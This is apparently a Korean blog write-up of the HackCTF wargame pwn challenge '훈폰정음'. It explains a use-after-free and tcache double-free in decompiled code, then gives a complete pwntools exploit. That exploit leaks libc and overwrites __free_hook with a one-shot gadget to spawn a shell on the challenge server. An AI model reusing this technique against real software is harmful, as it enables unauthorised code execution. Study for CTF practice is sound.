Pwnstar
hackctf 훈폰정음 본문
child heap 문제 풀면서 얻은 지식 덕분에 좀 쉽게 풀 수 있었던 문제였다.
보호기법은 다 걸려있음. 보통 힙 문제에서 Full relro 걸려있으면 malloc hook이나 free hook을 덮어서 익스하게 된다.
흔한 힙 문제들과 같이 malloc, edit, free, print 등을 할 수 있다.
int add()
{
int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
puts(&byte_FF6);
result = smooth(&byte_FF6);
v1 = result;
while ( v1 >= 0 && v1 <= 6 )
{
if ( table[v1] )
return puts(&byte_1018);
puts(&byte_1042);
size[v1] = smooth(&byte_1042);
if ( (size[v1] & 0x80000000) == 0 && (signed int)size[v1] <= 0x400 )
{
table[v1] = malloc((signed int)size[v1]);
if ( !table[v1] )
return puts(&byte_107F);
puts(&byte_1098);
return get_read(table[v1], size[v1]);
}
result = puts(&byte_1060);
}
return result;
}
add함수에서는 우선 7번 이상 malloc을 못하고, 0x400사이즈 이상을 할당받을 수 없다.
delete
int delete()
{
int result; // eax
int v1; // eax
signed int v2; // [rsp+Ch] [rbp-4h]
puts(&byte_FF6);
result = smooth(&byte_FF6);
v2 = result;
while ( v2 >= 0 && v2 <= 6 )
{
if ( !table[v2] )
return puts(&byte_1138);
v1 = count--;
if ( v1 )
{
free((void *)table[v2]);
return puts(&byte_1157);
}
result = puts(&byte_1168);
}
return result;
}
free하고 초기화하거나 table에서 지우지 않기 때문에 UAF가 가능
edit
int edit()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
puts(&byte_FF6);
result = smooth(&byte_FF6);
v1 = result;
if ( result >= 0 && result <= 6 )
{
if ( table[result] )
{
puts(&byte_10D8);
if ( (unsigned int)get_read(table[v1], size[v1]) )
result = puts(&byte_1100);
else
result = puts(&byte_1119);
}
else
{
result = puts(&byte_10B8);
}
}
return result;
}
인덱스를 입력받고 table에서 해당 인덱스로 접근하여 값을 변조시킬 수 있음.
그냥 되게 전형적인 heap문제의 모습이다. 문제에 주어진 libc 파일이 glibc 2.27버전이기 때문에 tcache를 사용한다.
앞서 푼 childheap문제를 통해 unsorted bin에 들어갈만큼 큰 사이즈를 free시키면 main_arena + 88의 주소가 들어간다는 것을 알게 되었기 때문에, 이것을 이용해서 libc leak을 한 이후 free hook을 oneshot gadget으로 덮어주면 익스할 수 있다.
우선 0x20만큼 할당받고 double free한 모습.
이 상태에서 하위 1바이트를 0x58로 조작해서 0x31이 적혀있는 부분을 0x400보다 큰 값으로 변조시킨다.
이 상태에서 free시키면 이 공간은 unsorted bin에 들어가게 되고, fd와 bk에 main_arena + 88의 주소가 들어간다.
이제 libc 주소를 알았으니 처음 방법을 다시 이용하여 free hook의 주소에 oneshot gadget을 덮어주면 된다.
참고로 아래 0x11의 값을 연속적으로 넣어 놓은 이유는 free할 때 에러를 피하려고 넣어놨는데 사실 정확히 무슨 값을 넣어야하는지 알고 넣은 것은 아님... 좀 더 공부가 필요해서 이후 정리할 예정인데 그냥 비워놓으면 free할 때 에러를 뿜고, 주로 heap에 할당받은 공간의 사이즈는 0x11, 0x21, 0x31등으로 되어있기 때문에 0x11부터 넣어봤는데 성공한 것...ㅋㅋ
익스 과정이 크게 복잡하지 않아서 더 설명은 필요없을 듯하다.
from pwn import*
import argparse
libc = ELF("libc-2.27.so")
def add(idx, size, content):
p.sendlineafter(">> ", "1")
p.sendlineafter(":\n", str(idx))
p.sendlineafter(":\n", str(size))
p.sendafter(":\n", content)
def edit(idx, content):
p.sendlineafter(">> ", "2")
p.sendlineafter(":\n", str(idx))
p.recvuntil(":\n")
p.send(content)
def delete(idx):
p.sendlineafter(">> ", "3")
p.sendlineafter(":\n", str(idx))
def check(idx):
p.sendlineafter(">> ", "4")
p.sendlineafter(":\n", str(idx))
def exit():
p.sendlineafter(">> ", "5")
def exp():
add(0, 0x20, "A"*0x20)
delete(0)
delete(0)
edit(0, "\x58")
add(1, 0x20, "D"*0x20)
add(2, 0x20, p64(0x421))
add(3, 0x400, p64(0x11) * 130)
delete(0)
check(0)
p.recvuntil(" :")
libc_leak = u64(p.recv(6) + "\x00\x00")
log.info("libc leak = " + hex(libc_leak))
libc_base = libc_leak - 0x3ebca0
oneshot = libc_base + 0x4f322
hook = libc_base + libc.symbols['__free_hook']
log.info(hex(oneshot))
log.info(hex(hook))
#overwrite with oneshot
#add(0, 0x100, "A")
add(4, 0x40, "E"*0x8)
delete(4)
delete(4)
edit(4, p64(hook))
add(5, 0x40, "F"*8)
add(6, 0x40, p64(oneshot))
delete(0)
p.interactive()
if __name__ == '__main__' :
context.arch = 'amd64'
parser = argparse.ArgumentParser()
parser.add_argument('-r', '--remote', action='store_true')
args = parser.parse_args()
if args.remote :
p = remote('ctf.j0n9hyun.xyz', 3041)
else :
env = {'LD_PRELOAD' : "./libc-2.27.so"}
p = process(['./hunpwn'], env=env)
pie = p.libs()["/home/pwnstar/CTF_wargame/skagns/HackCTF/hunpwn/hunpwn"]
bp_add = pie + 0x0000000000000C00
bp_free = pie + 0x0000000000000D66
bp_edit = pie + 0x0000000000000C7b
script = '''
b*{}
b*{}
b*{}
'''.format(hex(bp_add), hex(bp_free), hex(bp_edit))
gdb.attach(p, script)
exp()
'Wargame > HackCTF' 카테고리의 다른 글
hackctf childheap (0) | 2021.01.26 |
---|---|
HackCTF 풍수지리설 (0) | 2020.07.22 |
HackCTF pwning (0) | 2020.07.20 |
HackCTF Unexploitable #3 (0) | 2020.06.29 |
HackCTF j0n9hyun's secret (0) | 2020.06.29 |